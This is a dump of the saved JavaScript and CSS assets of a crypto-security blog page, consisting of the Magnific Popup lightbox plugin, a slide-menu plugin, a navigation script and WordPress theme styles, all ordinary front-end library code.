a.magnificPopup.instance&&a.magnificPopup.instance.close()},registerModule:function(b,c){c.options&&(a.magnificPopup.defaults[b]=c.options),a.extend(this.proto,c.proto),this.modules.push(b)},defaults:{disableOn:0,key:null,midClick:!1,mainClass:"",preloader:!0,focus:"",closeOnContentClick:!1,closeOnBgClick:!0,closeBtnInside:!0,showCloseBtn:!0,enableEscapeKey:!0,modal:!1,alignTop:!1,removalDelay:0,prependTo:null,fixedContentPos:"auto",fixedBgPos:"auto",overflowY:"auto",closeMarkup:'',tClose:"Close (Esc)",tLoading:"Loading...",autoFocusLast:!0}},a.fn.magnificPopup=function(c){A();var d=a(this);if("string"==typeof c)if("open"===c){var e,f=u?d.data("magnificPopup"):d[0].magnificPopup,g=parseInt(arguments[1],10)||0;f.items?e=f.items[g]:(e=d,f.delegate&&(e=e.find(f.delegate)),e=e.eq(g)),b._openClick({mfpEl:e},d,f)}else b.isOpen&&b[c].apply(b,Array.prototype.slice.call(arguments,1));else c=a.extend(!0,{},c),u?d.data("magnificPopup",c):d[0].magnificPopup=c,b.addGroup(d,c);return d};var C,D,E,F="inline",G=function(){E&&(D.after(E.addClass(C)).detach(),E=null)};a.magnificPopup.registerModule(F,{options:{hiddenClass:"hide",markup:"",tNotFound:"Content not found"},proto:{initInline:function(){b.types.push(F),w(h+"."+F,function(){G()})},getInline:function(c,d){if(G(),c.src){var e=b.st.inline,f=a(c.src);if(f.length){var g=f[0].parentNode;g&&g.tagName&&(D||(C=e.hiddenClass,D=x(C),C="mfp-"+C),E=f.after(D).detach().removeClass(C)),b.updateStatus("ready")}else b.updateStatus("error",e.tNotFound),f=a("
");return c.inlineElement=f,f}return b.updateStatus("ready"),b._parseMarkup(d,{},c),d}}});var H,I="ajax",J=function(){H&&a(document.body).removeClass(H)},K=function(){J(),b.req&&b.req.abort()};a.magnificPopup.registerModule(I,{options:{settings:null,cursor:"mfp-ajax-cur",tError:'The content could not be loaded.'},proto:{initAjax:function(){b.types.push(I),H=b.st.ajax.cursor,w(h+"."+I,K),w("BeforeChange."+I,K)},getAjax:function(c){H&&a(document.body).addClass(H),b.updateStatus("loading");var d=a.extend({url:c.src,success:function(d,e,f){var g={data:d,xhr:f};y("ParseAjax",g),b.appendContent(a(g.data),I),c.finished=!0,J(),b._setFocus(),setTimeout(function(){b.wrap.addClass(q)},16),b.updateStatus("ready"),y("AjaxContentAdded")},error:function(){J(),c.finished=c.loadError=!0,b.updateStatus("error",b.st.ajax.tError.replace("%url%",c.src))}},b.st.ajax.settings);return b.req=a.ajax(d),""}}});var L,M=function(c){if(c.data&&void 0!==c.data.title)return c.data.title;var d=b.st.image.titleSrc;if(d){if(a.isFunction(d))return d.call(b,c);if(c.el)return c.el.attr(d)||""}return""};a.magnificPopup.registerModule("image",{options:{markup:'
',cursor:"mfp-zoom-out-cur",titleSrc:"title",verticalFit:!0,tError:'The image could not be loaded.'},proto:{initImage:function(){var c=b.st.image,d=".image";b.types.push("image"),w(m+d,function(){"image"===b.currItem.type&&c.cursor&&a(document.body).addClass(c.cursor)}),w(h+d,function(){c.cursor&&a(document.body).removeClass(c.cursor),v.off("resize"+p)}),w("Resize"+d,b.resizeImage),b.isLowIE&&w("AfterChange",b.resizeImage)},resizeImage:function(){var a=b.currItem;if(a&&a.img&&b.st.image.verticalFit){var c=0;b.isLowIE&&(c=parseInt(a.img.css("padding-top"),10)+parseInt(a.img.css("padding-bottom"),10)),a.img.css("max-height",b.wH-c)}},_onImageHasSize:function(a){a.img&&(a.hasSize=!0,L&&clearInterval(L),a.isCheckingImgSize=!1,y("ImageHasSize",a),a.imgHidden&&(b.content&&b.content.removeClass("mfp-loading"),a.imgHidden=!1))},findImageSize:function(a){var c=0,d=a.img[0],e=function(f){L&&clearInterval(L),L=setInterval(function(){return d.naturalWidth>0?void b._onImageHasSize(a):(c>200&&clearInterval(L),c++,void(3===c?e(10):40===c?e(50):100===c&&e(500)))},f)};e(1)},getImage:function(c,d){var e=0,f=function(){c&&(c.img[0].complete?(c.img.off(".mfploader"),c===b.currItem&&(b._onImageHasSize(c),b.updateStatus("ready")),c.hasSize=!0,c.loaded=!0,y("ImageLoadComplete")):(e++,200>e?setTimeout(f,100):g()))},g=function(){c&&(c.img.off(".mfploader"),c===b.currItem&&(b._onImageHasSize(c),b.updateStatus("error",h.tError.replace("%url%",c.src))),c.hasSize=!0,c.loaded=!0,c.loadError=!0)},h=b.st.image,i=d.find(".mfp-img");if(i.length){var j=document.createElement("img");j.className="mfp-img",c.el&&c.el.find("img").length&&(j.alt=c.el.find("img").attr("alt")),c.img=a(j).on("load.mfploader",f).on("error.mfploader",g),j.src=c.src,i.is("img")&&(c.img=c.img.clone()),j=c.img[0],j.naturalWidth>0?c.hasSize=!0:j.width||(c.hasSize=!1)}return b._parseMarkup(d,{title:M(c),img_replaceWith:c.img},c),b.resizeImage(),c.hasSize?(L&&clearInterval(L),c.loadError?(d.addClass("mfp-loading"),b.updateStatus("error",h.tError.replace("%url%",c.src))):(d.removeClass("mfp-loading"),b.updateStatus("ready")),d):(b.updateStatus("loading"),c.loading=!0,c.hasSize||(c.imgHidden=!0,d.addClass("mfp-loading"),b.findImageSize(c)),d)}}});var N,O=function(){return void 0===N&&(N=void 0!==document.createElement("p").style.MozTransform),N};a.magnificPopup.registerModule("zoom",{options:{enabled:!1,easing:"ease-in-out",duration:300,opener:function(a){return a.is("img")?a:a.find("img")}},proto:{initZoom:function(){var a,c=b.st.zoom,d=".zoom";if(c.enabled&&b.supportsTransition){var e,f,g=c.duration,j=function(a){var b=a.clone().removeAttr("style").removeAttr("class").addClass("mfp-animated-image"),d="all "+c.duration/1e3+"s "+c.easing,e={position:"fixed",zIndex:9999,left:0,top:0,"-webkit-backface-visibility":"hidden"},f="transition";return e["-webkit-"+f]=e["-moz-"+f]=e["-o-"+f]=e[f]=d,b.css(e),b},k=function(){b.content.css("visibility","visible")};w("BuildControls"+d,function(){if(b._allowZoom()){if(clearTimeout(e),b.content.css("visibility","hidden"),a=b._getItemToZoom(),!a)return void k();f=j(a),f.css(b._getOffset()),b.wrap.append(f),e=setTimeout(function(){f.css(b._getOffset(!0)),e=setTimeout(function(){k(),setTimeout(function(){f.remove(),a=f=null,y("ZoomAnimationEnded")},16)},g)},16)}}),w(i+d,function(){if(b._allowZoom()){if(clearTimeout(e),b.st.removalDelay=g,!a){if(a=b._getItemToZoom(),!a)return;f=j(a)}f.css(b._getOffset(!0)),b.wrap.append(f),b.content.css("visibility","hidden"),setTimeout(function(){f.css(b._getOffset())},16)}}),w(h+d,function(){b._allowZoom()&&(k(),f&&f.remove(),a=null)})}},_allowZoom:function(){return"image"===b.currItem.type},_getItemToZoom:function(){return b.currItem.hasSize?b.currItem.img:!1},_getOffset:function(c){var d;d=c?b.currItem.img:b.st.zoom.opener(b.currItem.el||b.currItem);var e=d.offset(),f=parseInt(d.css("padding-top"),10),g=parseInt(d.css("padding-bottom"),10);e.top-=a(window).scrollTop()-f;var h={width:d.width(),height:(u?d.innerHeight():d[0].offsetHeight)-g-f};return O()?h["-moz-transform"]=h.transform="translate("+e.left+"px,"+e.top+"px)":(h.left=e.left,h.top=e.top),h}}});var P="iframe",Q="//about:blank",R=function(a){if(b.currTemplate[P]){var c=b.currTemplate[P].find("iframe");c.length&&(a||(c[0].src=Q),b.isIE8&&c.css("display",a?"block":"none"))}};a.magnificPopup.registerModule(P,{options:{markup:'
',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"},gmaps:{index:"//maps.google.",src:"%id%&output=embed"}}},proto:{initIframe:function(){b.types.push(P),w("BeforeChange",function(a,b,c){b!==c&&(b===P?R():c===P&&R(!0))}),w(h+"."+P,function(){R()})},getIframe:function(c,d){var e=c.src,f=b.st.iframe;a.each(f.patterns,function(){return e.indexOf(this.index)>-1?(this.id&&(e="string"==typeof this.id?e.substr(e.lastIndexOf(this.id)+this.id.length,e.length):this.id.call(this,e)),e=this.src.replace("%id%",e),!1):void 0});var g={};return f.srcAction&&(g[f.srcAction]=e),b._parseMarkup(d,g,c),b.updateStatus("ready"),d}}});var S=function(a){var c=b.items.length;return a>c-1?a-c:0>a?c+a:a},T=function(a,b,c){return a.replace(/%curr%/gi,b+1).replace(/%total%/gi,c)};a.magnificPopup.registerModule("gallery",{options:{enabled:!1,arrowMarkup:'',preload:[0,2],navigateByImgClick:!0,arrows:!0,tPrev:"Previous (Left arrow key)",tNext:"Next (Right arrow key)",tCounter:"%curr% of %total%"},proto:{initGallery:function(){var c=b.st.gallery,e=".mfp-gallery";return b.direction=!0,c&&c.enabled?(f+=" mfp-gallery",w(m+e,function(){c.navigateByImgClick&&b.wrap.on("click"+e,".mfp-img",function(){return b.items.length>1?(b.next(),!1):void 0}),d.on("keydown"+e,function(a){37===a.keyCode?b.prev():39===a.keyCode&&b.next()})}),w("UpdateStatus"+e,function(a,c){c.text&&(c.text=T(c.text,b.currItem.index,b.items.length))}),w(l+e,function(a,d,e,f){var g=b.items.length;e.counter=g>1?T(c.tCounter,f.index,g):""}),w("BuildControls"+e,function(){if(b.items.length>1&&c.arrows&&!b.arrowLeft){var d=c.arrowMarkup,e=b.arrowLeft=a(d.replace(/%title%/gi,c.tPrev).replace(/%dir%/gi,"left")).addClass(s),f=b.arrowRight=a(d.replace(/%title%/gi,c.tNext).replace(/%dir%/gi,"right")).addClass(s);e.click(function(){b.prev()}),f.click(function(){b.next()}),b.container.append(e.add(f))}}),w(n+e,function(){b._preloadTimeout&&clearTimeout(b._preloadTimeout),b._preloadTimeout=setTimeout(function(){b.preloadNearbyImages(),b._preloadTimeout=null},16)}),void w(h+e,function(){d.off(e),b.wrap.off("click"+e),b.arrowRight=b.arrowLeft=null})):!1},next:function(){b.direction=!0,b.index=S(b.index+1),b.updateItemHTML()},prev:function(){b.direction=!1,b.index=S(b.index-1),b.updateItemHTML()},goTo:function(a){b.direction=a>=b.index,b.index=a,b.updateItemHTML()},preloadNearbyImages:function(){var a,c=b.st.gallery.preload,d=Math.min(c[0],b.items.length),e=Math.min(c[1],b.items.length);for(a=1;a<=(b.direction?e:d);a++)b._preloadItem(b.index+a);for(a=1;a<=(b.direction?d:e);a++)b._preloadItem(b.index-a)},_preloadItem:function(c){if(c=S(c),!b.items[c].preloaded){var d=b.items[c];d.parsed||(d=b.parseEl(c)),y("LazyLoad",d),"image"===d.type&&(d.img=a('').on("load.mfploader",function(){d.hasSize=!0}).on("error.mfploader",function(){d.hasSize=!0,d.loadError=!0,y("LazyLoadError",d)}).attr("src",d.src)),d.preloaded=!0}}}});var U="retina";a.magnificPopup.registerModule(U,{options:{replaceSrc:function(a){return a.src.replace(/\.\w+$/,function(a){return"@2x"+a})},ratio:1},proto:{initRetina:function(){if(window.devicePixelRatio>1){var a=b.st.retina,c=a.ratio;c=isNaN(c)?c():c,c>1&&(w("ImageHasSize."+U,function(a,b){b.img.css({"max-width":b.img[0].naturalWidth/c,width:"100%"})}),w("ElementParse."+U,function(b,d){d.src=a.replaceSrc(d,c)}))}}}}),A()}); -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_2b1ae4cca3cc8d12c39be42768565308.js: -------------------------------------------------------------------------------- 1 | (function(factory){'use strict';if(typeof define==='function'&&define.amd){define(['jquery'],factory);}else if(typeof exports==='object'){module.exports=factory(require('jquery'));}else{factory(jQuery);}}(function($){'use strict';function _cleanInlineCSS(inlineCSS,toRemove){var inlineCSSArray=inlineCSS.split(';');var toRemoveArray=toRemove.split(' ');var cleaned='';var keep;for(var i=0,j=inlineCSSArray.length;isettings.semiOpenScreenWidth){this.$hiddenThin.hide();this.$menu.css(settings.side,'0');this.$menu.css('width',this.semiOpenMenuWidth);this.$push.css(settings.side,this.semiOpenMenuWidth);this.$shrink.css({'width':'calc(100% - '+this.semiOpenMenuWidth+')'});this.$menu.addClass('semiOpen');}else{this.$push.css(settings.side,'0');}}else if(initialState==='open'){this.$menu.css(settings.side,'0');this.$push.css(settings.side,this.width);this.$shrink.css({'width':'calc(100% - '+this.width+')'});menuLink.addClass(settings.activeBtn);} 6 | var that=this;menuLink.on('click.bigSlide touchstart.bigSlide',function(e){if(!animationApplied){that.$menu.css(animateSlide);that.$push.css(animateSlide);that.$shrink.css(animateShrink);animationApplied=true;} 7 | e.preventDefault();if(controller.getState()==='open'){view.toggleClose(e);}else{view.toggleOpen(e);}});if(settings.semiOpenStatus){$(window).resize(function(){var screenWidth=$(window).width();if(screenWidth>settings.semiOpenScreenWidth){if(controller.getState()==='closed'){that.$hiddenThin.hide();that.$menu.css({width:that.semiOpenMenuWidth});that.$menu.css(settings.side,'0');that.$push.css(settings.side,that.semiOpenMenuWidth);that.$shrink.css({'width':'calc(100% - '+that.semiOpenMenuWidth+')'});that.$menu.addClass('semiOpen');}}else{that.$menu.removeClass('semiOpen');if(controller.getState()==='closed'){that.$menu.css(settings.side,'-'+that.width).css({width:that.width});that.$push.css(settings.side,'0');that.$shrink.css('width','100%');that.$hiddenThin.show();}}});} 8 | if(settings.easyClose){$(document).on('click.bigSlide',function(e){if(!$(e.target).parents().addBack().is(menuLink)&&!$(e.target).closest(settings.menu).length&&controller.getState()==='open'){view.toggleClose();}});}},_destroy:function(){this.$menu.each(function(){var $this=$(this);$this.attr('style',_cleanInlineCSS($this.attr('style'),model.menuCSSDictionary).trim());});this.$push.each(function(){var $this=$(this);$this.attr('style',_cleanInlineCSS($this.attr('style'),model.pushCSSDictionary).trim());});this.$shrink.each(function(){var $this=$(this);$this.attr('style',_cleanInlineCSS($this.attr('style'),model.pushCSSDictionary).trim());});menuLink.removeClass(settings.activeBtn).off('click.bigSlide touchstart.bigSlide');this.$menu=null;this.$push=null;this.$shrink=null;localStorage.removeItem('bigSlide-savedState');},toggleOpen:function(e){settings.beforeOpen();controller.changeState();view.applyOpenStyles();menuLink.addClass(settings.activeBtn);settings.afterOpen(e);if(settings.saveState){localStorage.setItem('bigSlide-savedState','open');}},toggleClose:function(e){settings.beforeClose();controller.changeState();view.applyClosedStyles();menuLink.removeClass(settings.activeBtn);settings.afterClose(e);if(settings.saveState){localStorage.setItem('bigSlide-savedState','closed');}},applyOpenStyles:function(){var screenWidth=$(window).width();if(settings.semiOpenStatus&&screenWidth>settings.semiOpenScreenWidth){this.$hiddenThin.show();this.$menu.animate({width:this.width},{duration:Math.abs(settings.speed-100),easing:'linear'});this.$push.css(settings.side,this.width);this.$shrink.css({'width':'calc(100% - '+this.width+')'});this.$menu.removeClass('semiOpen');}else{this.$menu.css(settings.side,'0');this.$push.css(settings.side,this.width);this.$shrink.css({'width':'calc(100% - '+this.width+')'});}},applyClosedStyles:function(){var screenWidth=$(window).width();if(settings.semiOpenStatus&&screenWidth>settings.semiOpenScreenWidth){this.$hiddenThin.hide();this.$menu.animate({width:this.semiOpenMenuWidth},{duration:Math.abs(settings.speed-100),easing:'linear'});this.$push.css(settings.side,this.semiOpenMenuWidth);this.$shrink.css({'width':'calc(100% - '+this.semiOpenMenuWidth+')'});this.$menu.addClass('semiOpen');}else{this.$menu.css(settings.side,'-'+this.width);this.$push.css(settings.side,'0');this.$shrink.css('width','100%');}}} 9 | controller.init();this.bigSlideAPI={settings:settings,model:model,controller:controller,view:view,destroy:controller._destroy};return this;};})); -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_30b593b71d7672658f89bfea0ab360c9.css: -------------------------------------------------------------------------------- 1 | .mfp-bg{top:0;left:0;width:100%;height:100%;z-index:1042;overflow:hidden;position:fixed;background:#0b0b0b;opacity:.8}.mfp-wrap{top:0;left:0;width:100%;height:100%;z-index:1043;position:fixed;outline:none !important;-webkit-backface-visibility:hidden}.mfp-container{text-align:center;position:absolute;width:100%;height:100%;left:0;top:0;padding:0 8px;box-sizing:border-box}.mfp-container:before{content:'';display:inline-block;height:100%;vertical-align:middle}.mfp-align-top .mfp-container:before{display:none}.mfp-content{position:relative;display:inline-block;vertical-align:middle;margin:0 auto;text-align:left;z-index:1045}.mfp-inline-holder .mfp-content,.mfp-ajax-holder .mfp-content{width:100%;cursor:auto}.mfp-ajax-cur{cursor:progress}.mfp-zoom-out-cur,.mfp-zoom-out-cur .mfp-image-holder .mfp-close{cursor:-moz-zoom-out;cursor:-webkit-zoom-out;cursor:zoom-out}.mfp-zoom{cursor:pointer;cursor:-webkit-zoom-in;cursor:-moz-zoom-in;cursor:zoom-in}.mfp-auto-cursor .mfp-content{cursor:auto}.mfp-close,.mfp-arrow,.mfp-preloader,.mfp-counter{-webkit-user-select:none;-moz-user-select:none;user-select:none}.mfp-loading.mfp-figure{display:none}.mfp-hide{display:none !important}.mfp-preloader{color:#ccc;position:absolute;top:50%;width:auto;text-align:center;margin-top:-.8em;left:8px;right:8px;z-index:1044}.mfp-preloader a{color:#ccc}.mfp-preloader a:hover{color:#fff}.mfp-s-ready .mfp-preloader{display:none}.mfp-s-error .mfp-content{display:none}button.mfp-close,button.mfp-arrow{overflow:visible;cursor:pointer;background:0 0;border:0;-webkit-appearance:none;display:block;outline:none;padding:0;z-index:1046;box-shadow:none;touch-action:manipulation}button::-moz-focus-inner{padding:0;border:0}.mfp-close{width:44px;height:44px;line-height:44px;position:absolute;right:0;top:0;text-decoration:none;text-align:center;opacity:.65;padding:0 0 18px 10px;color:#fff;font-style:normal;font-size:28px;font-family:Arial,Baskerville,monospace}.mfp-close:hover,.mfp-close:focus{opacity:1}.mfp-close:active{top:1px}.mfp-close-btn-in .mfp-close{color:#333}.mfp-image-holder .mfp-close,.mfp-iframe-holder .mfp-close{color:#fff;right:-6px;text-align:right;padding-right:6px;width:100%}.mfp-counter{position:absolute;top:0;right:0;color:#ccc;font-size:12px;line-height:18px;white-space:nowrap}.mfp-arrow{position:absolute;opacity:.65;margin:0;top:50%;margin-top:-55px;padding:0;width:90px;height:110px;-webkit-tap-highlight-color:transparent}.mfp-arrow:active{margin-top:-54px}.mfp-arrow:hover,.mfp-arrow:focus{opacity:1}.mfp-arrow:before,.mfp-arrow:after{content:'';display:block;width:0;height:0;position:absolute;left:0;top:0;margin-top:35px;margin-left:35px;border:medium inset transparent}.mfp-arrow:after{border-top-width:13px;border-bottom-width:13px;top:8px}.mfp-arrow:before{border-top-width:21px;border-bottom-width:21px;opacity:.7}.mfp-arrow-left{left:0}.mfp-arrow-left:after{border-right:17px solid #fff;margin-left:31px}.mfp-arrow-left:before{margin-left:25px;border-right:27px solid #3f3f3f}.mfp-arrow-right{right:0}.mfp-arrow-right:after{border-left:17px solid #fff;margin-left:39px}.mfp-arrow-right:before{border-left:27px solid #3f3f3f}.mfp-iframe-holder{padding-top:40px;padding-bottom:40px}.mfp-iframe-holder .mfp-content{line-height:0;width:100%;max-width:900px}.mfp-iframe-holder .mfp-close{top:-40px}.mfp-iframe-scaler{width:100%;height:0;overflow:hidden;padding-top:56.25%}.mfp-iframe-scaler iframe{position:absolute;display:block;top:0;left:0;width:100%;height:100%;box-shadow:0 0 8px rgba(0,0,0,.6);background:#000}img.mfp-img{width:auto;max-width:100%;height:auto;display:block;line-height:0;box-sizing:border-box;padding:40px 0 40px;margin:0 auto}.mfp-figure{line-height:0}.mfp-figure:after{content:'';position:absolute;left:0;top:40px;bottom:40px;display:block;right:0;width:auto;height:auto;z-index:-1;box-shadow:0 0 8px rgba(0,0,0,.6);background:#444}.mfp-figure small{color:#bdbdbd;display:block;font-size:12px;line-height:14px}.mfp-figure figure{margin:0}.mfp-bottom-bar{margin-top:-36px;position:absolute;top:100%;left:0;width:100%;cursor:auto}.mfp-title{text-align:left;line-height:18px;color:#f3f3f3;word-wrap:break-word;padding-right:36px}.mfp-image-holder .mfp-content{max-width:100%}.mfp-gallery .mfp-image-holder .mfp-figure{cursor:pointer}@media screen and (max-width:800px) and (orientation:landscape),screen and (max-height:300px){.mfp-img-mobile .mfp-image-holder{padding-left:0;padding-right:0}.mfp-img-mobile img.mfp-img{padding:0}.mfp-img-mobile .mfp-figure:after{top:0;bottom:0}.mfp-img-mobile .mfp-figure small{display:inline;margin-left:5px}.mfp-img-mobile .mfp-bottom-bar{background:rgba(0,0,0,.6);bottom:0;margin:0;top:auto;padding:3px 5px;position:fixed;box-sizing:border-box}.mfp-img-mobile .mfp-bottom-bar:empty{padding:0}.mfp-img-mobile .mfp-counter{right:5px;top:3px}.mfp-img-mobile .mfp-close{top:0;right:0;width:35px;height:35px;line-height:35px;background:rgba(0,0,0,.6);position:fixed;text-align:center;padding:0}}@media all and (max-width:900px){.mfp-arrow{-webkit-transform:scale(.75);transform:scale(.75)}.mfp-arrow-left{-webkit-transform-origin:0;transform-origin:0}.mfp-arrow-right{-webkit-transform-origin:100%;transform-origin:100%}.mfp-container{padding-left:6px;padding-right:6px}} -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_49cea0a781874a962879c2caca9bc322.js: -------------------------------------------------------------------------------- 1 | (function($){'use strict';})(jQuery); -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_6ec0e9b3201c83a442e24aba829a5f05.js: -------------------------------------------------------------------------------- 1 | (function(){var container,button,menu,links,i,len;container=document.getElementById('top-navigation');if(!container){return;} 2 | button=container.getElementsByClassName('top-menu-mobile')[0];if('undefined'===typeof button){return;} 3 | menu=container.getElementsByTagName('ul')[0];if('undefined'===typeof menu){button.style.display='none';return;} 4 | if(-1===menu.className.indexOf('nav-menu')){menu.className+=' nav-menu';} 5 | button.onclick=function(){if(-1!==container.className.indexOf('toggled')){container.className=container.className.replace(' toggled','');button.setAttribute('aria-expanded','false');}else{container.className+=' toggled';button.setAttribute('aria-expanded','true');}};document.addEventListener('click',function(event){var isClickInside=container.contains(event.target);if(!isClickInside){container.className=container.className.replace(' toggled','');button.setAttribute('aria-expanded','false');}});links=menu.getElementsByTagName('a');for(i=0,len=links.length;i a, .page_item_has_children > a');if('ontouchstart'in window){touchStartFn=function(e){var menuItem=this.parentNode;if(!menuItem.classList.contains('focus')){e.preventDefault();for(i=0;i{button.focus()}) 12 | goToEnd.addEventListener('focus',()=>{menu.lastElementChild.querySelector('a').focus()})}()); -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_8de4505c66a21eefd3c1c98b6400e4e1.css: -------------------------------------------------------------------------------- 1 | /*! 2 | Theme Name: IT News Grid 3 | Theme URI: https://indithemes.com/product/it-news-grid/ 4 | Author: IndiThemes 5 | Author URI: https://www.indithemes.com 6 | Description: IT News Grid is a simple yet powerful grid based Blog WordPress Theme. With a clean and sophisticated layout which adapts to any device of your liking along with support for page builders, you can create the website you always wanted. Theme supports multiple header layouts, multiple content layout options, custom widgets, a flexible footer layout, all in all, a highly customizable WordPress Theme that would take your site up a notch, all this being very light weight. The theme is highly pluggable. This support for Child Themes add to the flexibility of the theme. Create child themes as per your custom requirements. You can download documentation and demo data at indithemes.com/product/it-news-grid 7 | Version: 1.3 8 | Tested up to: 5.8 9 | Requires PHP: 5.6 10 | License: GNU General Public License v2 or later 11 | License URI: https://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html 12 | Text Domain: itng 13 | Tags: custom-background, custom-logo, custom-menu, featured-images, threaded-comments, translation-ready, blog, news, education, grid-layout, one-column, two-columns, three-columns, left-sidebar, right-sidebar, custom-colors, custom-header, theme-options 14 | 15 | This theme, like WordPress, is licensed under the GPL. 16 | Use it to make something cool, have fun, and share what you've learned. 17 | 18 | IT News Grid is based on Underscores https://underscores.me/, (C) 2012-2020 Automattic, Inc. 19 | Underscores is distributed under the terms of the GNU GPL v2 or later. 20 | 21 | Normalizing styles have been helped along thanks to the fine work of 22 | Nicolas Gallagher and Jonathan Neal https://necolas.github.io/normalize.css/ 23 | */ 24 | /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */ 25 | html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button::-moz-focus-inner,[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details{display:block}summary{display:list-item}template{display:none}[hidden]{display:none}*,*:before,*:after{box-sizing:inherit}html{box-sizing:border-box}h1,h2,h3,h4,h5,h6{clear:both}p{margin-bottom:1.5em}dfn,cite,em,i{font-style:italic}blockquote{margin:0 1.5em}address{margin:0 0 1.5em}pre{font-family:"Courier 10 Pitch",courier,monospace;line-height:1.6;margin-bottom:1.6em;max-width:100%;overflow:auto;padding:1.6em}code,kbd,tt,var{font-family:monaco,consolas,"Andale Mono","DejaVu Sans Mono",monospace}abbr,acronym{border-bottom:1px dotted #666;cursor:help}big{font-size:125%}body{background:#fff}hr{background-color:#ccc;border:0;height:1px;margin-bottom:1.5em}ul,ol{margin:0 0 1.5em 3em}ul{list-style:disc}ol{list-style:decimal}li>ul,li>ol{margin-bottom:0;margin-left:1.5em}dt{@extend %bold}dd{margin:0 1.5em 1.5em}embed,iframe,object{max-width:100%}img{height:auto;max-width:100%}figure{margin:1em 0}table{margin:0 0 1.5em;width:100%}a:focus{outline:thin dotted}a:hover,a:active{outline:0}button,input[type=button],input[type=reset],input[type=submit]{border:1px solid;border-color:#ccc #ccc #bbb;border-radius:3px;background:#e6e6e6;color:rgba(0,0,0,.8);line-height:1}button:hover,input[type=button]:hover,input[type=reset]:hover,input[type=submit]:hover{border-color:#ccc #bbb #aaa}button:active,button:focus,input[type=button]:active,input[type=button]:focus,input[type=reset]:active,input[type=reset]:focus,input[type=submit]:active,input[type=submit]:focus{border-color:#aaa #bbb #bbb}input[type=text],input[type=email],input[type=url],input[type=password],input[type=search],input[type=number],input[type=tel],input[type=range],input[type=date],input[type=month],input[type=week],input[type=time],input[type=datetime],input[type=datetime-local],input[type=color],textarea{color:#666;border:1px solid #ccc;border-radius:3px;padding:3px}input[type=text]:focus,input[type=email]:focus,input[type=url]:focus,input[type=password]:focus,input[type=search]:focus,input[type=number]:focus,input[type=tel]:focus,input[type=range]:focus,input[type=date]:focus,input[type=month]:focus,input[type=week]:focus,input[type=time]:focus,input[type=datetime]:focus,input[type=datetime-local]:focus,input[type=color]:focus,textarea:focus{color:#111}select{border:1px solid #ccc}textarea{width:100%}.main-navigation{display:block;width:100%}.main-navigation ul{list-style:none;margin:0;padding-left:0}.main-navigation ul ul{float:left;position:absolute;top:100%;left:-999em;z-index:99999}.main-navigation ul ul ul{left:-999em;top:0}.main-navigation ul ul li:hover>ul,.main-navigation ul ul li.focus>ul{display:block;left:auto}.main-navigation ul ul a{width:200px}.main-navigation ul li:hover>ul,.main-navigation ul li.focus>ul{left:auto}.main-navigation li{position:relative}.main-navigation a{display:block;text-decoration:none}.menu-toggle,.main-navigation.toggled ul{display:block}@media screen and (min-width:37.5em){.menu-toggle{display:none}}.site-main .comment-navigation,.site-main .posts-navigation,.site-main .post-navigation{margin:0 0 1.5em}.comment-navigation .nav-previous,.posts-navigation .nav-previous,.post-navigation .nav-previous{flex:1 0 50%}.comment-navigation .nav-next,.posts-navigation .nav-next,.post-navigation .nav-next{text-align:end;flex:1 0 50%}.sticky{display:block}.updated:not(.published){display:none}.page-links{clear:both;margin:0 0 1.5em}.comment-content a{word-wrap:break-word}.bypostauthor{display:block}.widget{margin:0 0 1.5em}.widget select{max-width:100%}.page-content .wp-smiley,.entry-content .wp-smiley,.comment-content .wp-smiley{border:none;margin-bottom:0;margin-top:0;padding:0}.custom-logo-link{display:inline-block}.wp-caption{margin-bottom:1.5em;max-width:100%}.wp-caption img[class*=wp-image-]{display:block;margin-left:auto;margin-right:auto}.wp-caption .wp-caption-text{margin:.8075em 